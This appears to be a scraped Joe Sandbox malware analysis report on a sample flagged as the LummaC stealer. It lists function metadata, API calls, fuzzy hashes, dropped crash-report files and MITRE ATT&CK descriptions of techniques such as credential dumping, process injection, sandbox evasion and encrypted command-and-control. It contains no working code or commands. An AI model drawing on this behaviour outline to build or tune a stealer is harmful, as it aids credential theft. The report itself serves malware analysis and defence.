Function 0367E907 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 0367EA32
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 0367EA61

Strings

N, xrefs: 0367EA8F
mz, xrefs: 0367EA87
JE, xrefs: 0367E992

Memory Dump Source

Source File: 00000000.00000002.2348164937.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3660000_qrLdMv1QXG.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: JE$N$mz
API String ID: 237503144-108684729
Opcode ID: bc3b9213bb2758d3e3e68cc74ab0fc31b7c5d13228ea9ed8bb1be7c6613b1ba5
Instruction ID: 132f6258500499f2897b48368c195dc45e22e68dce7f0eac5676f7a9dbd3c725
Opcode Fuzzy Hash: bc3b9213bb2758d3e3e68cc74ab0fc31b7c5d13228ea9ed8bb1be7c6613b1ba5
Instruction Fuzzy Hash: 6C514EB1108381AFD310CF01C899B4BBBE4EBC6794F108E1CF8A44B391D7B5D94A8B96

Uniqueness

Uniqueness Score: -1.00%

Function 03682937 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 03682A29
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 03682A60

Strings

MNO, xrefs: 03682A7B

Memory Dump Source

Source File: 00000000.00000002.2348164937.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3660000_qrLdMv1QXG.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: MNO
API String ID: 237503144-1907183675
Opcode ID: 78e6315bce8a6187e0842bc67264e23d18a0778db6b2ddcc4db9a03e1ee5456f
Instruction ID: a745813570147cc9f8c31b4482a0bf399e52b35cf91ffde959073ac70ebbe230
Opcode Fuzzy Hash: 78e6315bce8a6187e0842bc67264e23d18a0778db6b2ddcc4db9a03e1ee5456f
Instruction Fuzzy Hash: 0AB10271140B008BE72ACF24C5A4797BBE2BF89708F554B1DC9A74BA90D7B4B50ACB84

Uniqueness

Uniqueness Score: -1.00%

Function 004226D0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 004227C2
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 004227F9

Strings

MNO, xrefs: 00422814

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: MNO
API String ID: 237503144-1907183675
Opcode ID: 8c767264797024f60dc898dc0aaff19022dbdba7ce675aa866db1637c3130b51
Instruction ID: 6712c612b84ee881e1d235e81750fed71cd5445294cf952b386b04711fbcdcd3
Opcode Fuzzy Hash: 8c767264797024f60dc898dc0aaff19022dbdba7ce675aa866db1637c3130b51
Instruction Fuzzy Hash: 42B11571240B108BE32ACF24C5A0797BBE2FB85704F554B1DC9A74BA90D7B4B54ACB94

Uniqueness

Uniqueness Score: -1.00%

Function 0368E656 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SelectObject.GDI32 ref: 0368E69E
SelectObject.GDI32 ref: 0368E720

Strings

, xrefs: 0368E6ED

Memory Dump Source

Source File: 00000000.00000002.2348164937.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3660000_qrLdMv1QXG.jbxd

Yara matches

Similarity

API ID: ObjectSelect
String ID:
API String ID: 1517587568-3916222277
Opcode ID: e0dffe2799290b1325598bf0a61f6d8834782f29a839223cc3ea3d362ac7b798
Instruction ID: 290545cd2ed4d235f1d0326b16d2bce106099e3273d53943cf4e29d38e4239ef
Opcode Fuzzy Hash: e0dffe2799290b1325598bf0a61f6d8834782f29a839223cc3ea3d362ac7b798
Instruction Fuzzy Hash: D7512BB8605B008FC364DF28D595A16BBF1BB89700F118A6DE98A8BB60D731F845CF56

Uniqueness

Uniqueness Score: -1.00%

Function 03669057 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 036690C7

Strings

often in other is that on their similarity resemblance system or of on replacements the reflection used ways or it internet. uses play of spellings primarily eleet leetspeak, the character via modified a glyphs, xrefs: 0366908D

Memory Dump Source

Source File: 00000000.00000002.2348164937.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3660000_qrLdMv1QXG.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: often in other is that on their similarity resemblance system or of on replacements the reflection used ways or it internet. uses play of spellings primarily eleet leetspeak, the character via modified a glyphs
API String ID: 621844428-3137510881
Opcode ID: 1f54d65f0a049a0af63e194947d137ef6acec4bdd30eaa2fe77be7f0d6b7cb0e
Instruction ID: eeecd02f28e025f095544dbce8cd2421509b36eee37742d00add75c69a464687
Opcode Fuzzy Hash: 1f54d65f0a049a0af63e194947d137ef6acec4bdd30eaa2fe77be7f0d6b7cb0e
Instruction Fuzzy Hash: D9F017B840CB10DAEE00FBB4970467D3BF89F543E0F00466ECC96C5254DB72808A8AAB

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report qrLdMv1QXG.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_qrLdMv1QXG.exe_6f2fc2e5454b6ca343fbd4712c4948319d291f0_4915b7ca_140b9d2d-4e76-46c7-ad79-3a5aba1822de\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_qrLdMv1QXG.exe_dab42b4fbe31c195557b22d8807203fa4c45350_4915b7ca_5670d64c-ae8b-4d92-80a6-a5bc086660b9\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE1F1.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE2DC.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE31C.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE637.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF328.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF358.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Windows Analysis Report
qrLdMv1QXG.exe

Function 004156B6 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 488
COMMON

Function 004046D0 Relevance: 5.5, Strings: 4, Instructions: 506
COMMON

Function 0366003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Function 00427C0B Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 72
memoryCOMMON

Function 0041E6A0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 138
COMMON

Function 004248C4 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 610
COMMON

Function 004248C7 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 602
COMMON

Function 004252A4 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 458
COMMON

Function 0042E3EF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 110
COMMON